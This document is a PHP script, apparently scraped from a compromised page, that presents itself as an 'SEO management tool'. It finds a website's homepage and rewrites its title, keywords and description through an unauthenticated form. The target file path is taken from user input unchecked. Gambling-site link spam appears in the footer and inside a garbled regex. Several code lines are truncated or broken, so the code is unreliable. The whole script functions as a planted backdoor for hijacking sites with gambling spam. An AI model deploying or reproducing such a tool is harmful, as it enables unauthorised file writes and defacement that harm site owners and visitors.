['紫罗兰梦幻', '#9b59b6', '#8e44ad', 'left', 'rounded', 'fadeIn', '1,3,2,4', '?'], 1 => ['海洋深蓝', '#2980b9', '#1abc9c', 'center', 'sharp', 'slideIn', '2,4,1,3', '?'], 2 => ['热情红枫', '#e74c3c', '#c0392b', 'right', 'rounded', 'bounce', '3,1,4,2', '?'], 3 => ['森林绿意', '#27ae60', '#2ecc71', 'left', 'soft', 'zoomIn', '4,2,3,1', '?'], 4 => ['暗夜星空', '#2c3e50', '#34495e', 'center', 'sharp', 'glow', '1,4,2,3', '?'], 5 => ['樱花粉嫩', '#ff6b9d', '#fdcb6e', 'right', 'rounded', 'rubberBand', '2,3,4,1', '?'], 6 => ['科技蓝紫', '#3b82f6', '#8b5cf6', 'left', 'sharp', 'flip', '3,2,1,4', '?'], 7 => ['暖阳橙黄', '#f39c12', '#e67e22', 'center', 'soft', 'shake', '4,1,3,2', '??'], 8 => ['薄荷清新', '#1abc9c', '#16a085', 'right', 'rounded', 'swing', '1,2,4,3', '?'], 9 => ['高贵紫金', '#9b59b6', '#f1c40f', 'left', 'sharp', 'pulse', '2,1,3,4', '?'] ]; function getCurrentDomain() { $domain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'localhost'; return strtolower($domain); } function getDomainShort($domain) { $short = $domain; if (substr($short, 0, 4) == 'www.') $short = substr($short, 4); $portPos = strpos($short, ':'); if ($portPos !== false) $short = substr($short, 0, $portPos); return $short; } function getStableThemeId($domain) { if (empty($domain)) $domain = 'localhost'; $hash = 0; for ($i = 0; $i < strlen($domain); $i++) { $hash += ord($domain[$i]); $hash *= 31; if ($hash > 1000000) $hash = $hash % 1000000; } return $hash % 10; } function getWebRootPath() { $scriptName = $_SERVER['SCRIPT_NAME'] ?? ''; $currentPath = $_SERVER['DOCUMENT_ROOT'] ?? dirname($_SERVER['SCRIPT_FILENAME']); $pathDepth = substr_count($scriptName, '/') - 1; for ($i = 0; $i < $pathDepth; $i++) { $currentPath = dirname($currentPath); } return rtrim(str_replace('\\', '/', $currentPath), '/'); } // 扫描首页 function scanHomePage($rootPath) { $possibleFiles = ['index.html', 'index.php', 'index.htm', 'default.html', 'default.php']; foreach ($possibleFiles as $file) { if (file_exists($rootPath . '/' . $file)) { return $file; } } return ''; } // 安全提取标题(不会破坏原文件) function getTitle($content) { if (preg_match('/合乐客服电话,合乐平台免费下载之间的内容 if (preg_match('/()(.*?)(<\/title>)/is', $newContent, $matches)) { $newContent = str_replace($matches[0], '<title>' . htmlspecialchars($newTitle, ENT_QUOTES, 'UTF-8') . '', $newContent); } else { // 如果没有title标签,在head中添加 if (preg_match('/(]*>)/i', $newContent, $matches)) { $newContent = str_replace($matches[0], $matches[0] . "\n" . htmlspecialchars($newTitle, ENT_QUOTES, 'UTF-8') . "", $newContent); } } // 安全更新关键词 - 精确替换content内容 if (preg_match('/'; $newContent = str_replace($matches[0], $newMeta, $newContent); } elseif (preg_match('/'; $newContent = str_replace($matches[0], $newMeta, $newContent); } elseif (!empty($newKeywords)) { if (preg_match('/(<\/head>)/i', $newContent, $matches)) { $newMeta = ' . htmlspecialchars($newKeywords, ENT_QUOTES, 'UTF-8') . '">' . "\n"; $newContent = str_replace($matches[0], $newMeta . $matches[0], $newContent); } } // 安全更新描述 - 精确替换content内容 if (preg_match('/ . htmlspecialchars($newDescription, ENT_QUOTES, 'UTF-8') . '">'; $newContent = str_replace($matches[0], $newMeta, $newContent); } elseif (preg_match('/ . htmlspecialchars($newDescription, ENT_QUOTES, 'UTF-8') . '">'; $newContent = str_replace($matches[0], $newMeta, $newContent); } elseif (!empty($newDescription)) { if (preg_match('/(<\/head>)/i', $newContent, $matches)) { $newMeta = ' . htmlspecialchars($newDescription, ENT_QUOTES, 'UTF-8') . '">' . "\n"; $newContent = str_replace($matches[0], $newMeta . $matches[0], $newContent); } } return $newContent; } function escapeHtml($str) { return htmlspecialchars($str, ENT_QUOTES, 'UTF-8'); } // =================================================== // 主程序 // =================================================== $currentDomain = getCurrentDomain(); $domainShort = getDomainShort($currentDomain); $webRoot = getWebRootPath(); $themeId = getStableThemeId($currentDomain); $themeConfig = $themes[$themeId]; $themeName = $themeConfig[0]; $color1 = $themeConfig[1]; $color2 = $themeConfig[2]; $alignType = $themeConfig[3]; $cardStyle = $themeConfig[4]; $animation = $themeConfig[5]; $layoutOrder = $themeConfig[6]; $titleIcon = $themeConfig[7]; $orderArray = explode(',', $layoutOrder); $homeFile = scanHomePage($webRoot); if (empty($homeFile)) $homeFile = '未找到首页文件'; $currentTitle = ''; $currentKeywords = ''; $currentDescription = ''; $msg = ''; if ($homeFile != '' && $homeFile != '未找到首页文件') { $fullPath = $webRoot . '/' . $homeFile; $fileContent = file_get_contents($fullPath); if ($fileContent !== false) { $currentTitle = getTitle($fileContent); $currentKeywords = getKeywords($fileContent); $currentDescription = getDescription($fileContent); } } // 处理表单提交 if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] == 'update_seo') { $targetFile = trim($_POST['target_file'] ?? ''); $newTitle = trim($_POST['title'] ?? ''); $newKeywords = trim($_POST['keywords'] ?? ''); $newDescription = trim($_POST['description'] ?? ''); if (empty($targetFile)) { $msg = '错误:未指定要修改的文件'; } elseif (empty($newTitle)) { $msg = '警告:标题不能为空!'; } else { $fullPath = $webRoot . '/' . $targetFile; $oldContent = file_get_contents($fullPath); if ($oldContent !== false) { $newContent = updateSEO($oldContent, $newTitle, $newKeywords, $newDescription); if (file_put_contents($fullPath, $newContent) !== false) { $msg = '成功:SEO信息更新成功!'; $currentTitle = $newTitle; $currentKeywords = $newKeywords; $currentDescription = $newDescription; } else { $msg = '错误:保存失败,请检查文件权限'; } } else { $msg = '错误:读取文件失败'; } } } $msgClass = ''; if (!empty($msg)) { if (strpos($msg, '成功') !== false) $msgClass = 'success'; elseif (strpos($msg, '错误') !== false || strpos($msg, '失败') !== false) $msgClass = 'error'; else $msgClass = 'warning'; } ?> <?php echo $titleIcon; ?> SEO管理 | <?php echo $domainShort; ?> · <?php echo $themeName; ?>

SEO 智能管理工具

· 为 专属定制

? ? 主题:
? 网站信息
域名:
根目录路径:
? 优先级:index.html > index.php > index.htm ? 首页文件:
? 完整路径:
? 当前SEO信息

标题:

关键词:

描述:

建议:10-60字符
建议:3-5个关键词
建议:50-160字符
?? 未找到首页文件!请将脚本上传到网站根目录。
友情链接:尊龙现金一下AG发财网可以  新利18app  银河app官方版下载  k8凯发备用网址入口  k8凯发国际app下载  凯发ag旗舰厅官网登录ios版下载  凯发娱乐全球公官网  k8凯发真人娱乐手机娱乐网址  尊龙d88手机版app  k8凯发集团线上娱乐